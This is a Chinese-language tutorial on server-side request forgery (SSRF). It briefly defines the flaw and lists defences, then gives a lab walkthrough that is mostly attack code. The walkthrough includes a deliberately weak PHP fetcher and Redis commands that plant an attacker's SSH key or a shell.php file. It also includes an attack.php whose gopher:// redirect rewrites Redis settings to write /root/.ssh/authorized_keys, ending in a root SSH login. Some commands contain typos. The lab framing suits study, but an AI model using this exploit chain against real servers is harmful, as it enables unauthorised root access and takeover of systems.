SSRF
定义:
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。
一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)
原理:
SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。
防御:
1,过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。
2, 统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。
3,限制请求的端口为http常用的端口,比如,80,443,8080,8090。
4,黑名单内网ip。避免应用被用来获取获取内网数据,攻击内网。
5,禁用不需要的协议。仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp:// 等引起的问题。
ssrf实现.ssh未创建写shell:
1、环境搭建
需要kali和Ubuntu虚拟机各一台
ubuntu:
test.html:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<form action="test.php" method="post">
input url: <input type="text" name="url"><br>
<input type="submit" value="submit">
</form>
</body>
</html>
test.php:
<?php
function check_ip($url)
{
$match_res=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url);
if(!$match_res)
{
echo 'url fomat erro';
exit();
}
try
{
$url_parse=parse_url($url);
}
catch(Exception $e)
{
echo 'url fomat error';
exit();
}
$ip=gethostbyname($url_parse['host']);
echo $ip;
$ini_ip=ip2long($ip);
if ($ini_ip>>24==ip2long('127.0.0.0')>>24||$ini_ip==ip2long('服务机公网ip'))
{
echo "ip can not inner ip";
exit();
}
}
$ch=curl_init();
$url=$_GET['url'];
check_ip($url);
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_HEADER,0);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_REDIR_PROTOCOLS,CURLPROTO_GOPHER);
curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);
$res=curl_exec($ch);
curl_close($ch);
echo $res;
?>
2、实施攻击
kali:
执行 ssh-keygen -t rsa 生成攻击机的SSH公钥数据:
cd /root/.ssh
ssh-keygen -t rsa
用SSH公钥数据伪造Redis数据:
Socat -v tcp-listen:1234,fork tcp-connect:localhost:6379
redis-cli -p 1234 fushall
echo -e "\n\n
ssh-rsaAAAAB3NzaC1yc2EAAAADAQABAAABgQDa1V8TRqynbl7Lx0eOuOB3k7f4o9m0jtj96X7Z5BW3HCUagionxr5FRzV6GHjKzjJYrFf43QsedgnY3UPZEx0oo3QVZhRsacx3/qkSevkZvA+KpBygyH/2/OUIlpXtgWLilkxSy8yWSGc573gtHJhNgdrtaGUahHprCM1RTBqCkC7SeYN07kUhXuDAlZrJKyT3G2jI3LHcz6O4EJF4n2zZlm2IOQupdfEhiZAKs4GX+7SZ/kK1JWlEy/m12cUcQrDzTPFKVM/RQ6h5+gKshq+f5IMtzXuN3m0WZ9vXoHMnsVrGNBdd++7Hd2bHSMLnhjgdH9x8BEner4QR0WgRTMySkRj9Gqoc8QMRJpl8CzNrKEEOAkRScDW26qaAaKW4V44Nuupq2HO0QYWCEvOMGEQYVj2zM66VqZTZHaZhj5Gnkot3vo6/6h1bcTiOlIt7DCIIP1q+2fg3SUL9JsH3denkc/QUrAOoBlvfL3ruvCbTVgW4HM20kH+ltpt5RdKf0s0= root@kali\n\n" | redis-cli -p 1234 -x set a
redis-cli -p 1234 config set dir /var/www/html/
redis-cli -p 1234 config set dbfilename shell.php
redis-cli -p 1234 save
在kali下写个attack.php:
<?php
header("Location: gopher://127.0.0.1:6379/_*1%0d%0A%248%0d%0Aflushall%0d%0A*3%0d%0A%243%0d%0Aset%0d%0A%241%0d%0A1%0d%0A%24567%0d%0A%0A%0Assh-rsa%20AAAAB3NzaC1yc2EAAAADAQABAAABgQDa1V8TRqynbl7Lx0eOuOB3k7f4o9m0jtj96X7Z5BW3HCUagionxr5FRzV6GHjKzjJYrFf43QsedgnY3UPZEx0oo3QVZhRsacx3/qkSevkZvA+KpBygyH/2/OUIlpXtgWLilkxSy8yWSGc573gtHJhNgdrtaGUahHprCM1RTBqCkC7SeYN07kUhXuDAlZrJKyT3G2jI3LHcz6O4EJF4n2zZlm2IOQupdfEhiZAKs4GX+7SZ/kK1JWlEy/m12cUcQrDzTPFKVM/RQ6h5+gKshq+f5IMtzXuN3m0WZ9vXoHMnsVrGNBdd++7Hd2bHSMLnhjgdH9x8BEner4QR0WgRTMySkRj9Gqoc8QMRJpl8CzNrKEEOAkRScDW26qaAaKW4V44Nuupq2HO0QYWCEvOMGEQYVj2zM66VqZTZHaZhj5Gnkot3vo6/6h1bcTiOlIt7DCIIP1q+2fg3SUL9JsH3denkc/QUrAOoBlvfL3ruvCbTVgW4HM20kH+ltpt5RdKf0s0= root@kali%20root@kali%0A%0A%0A%0d%0A*4%0d%0A%246%0d%0Aconfig%0d%0A%243%0d%0Aset%0d%0A%243%0d%0Adir%0d%0A%2411%0d%0A/root/.ssh/%0d%0A*4%0d%0A%246%0d%0Aconfig%0d%0A%243%0d%0Aset%0d%0A%2410%0d%0Adbfilename%0d%0A%2415%0d%0Aauthorized_keys%0d%0A*1%0d%0A%244%0d%0Asave%0d%0A");
?>
在/root/.ssh目录下:
ssh -i id_rsa root@IP地址
最后登录。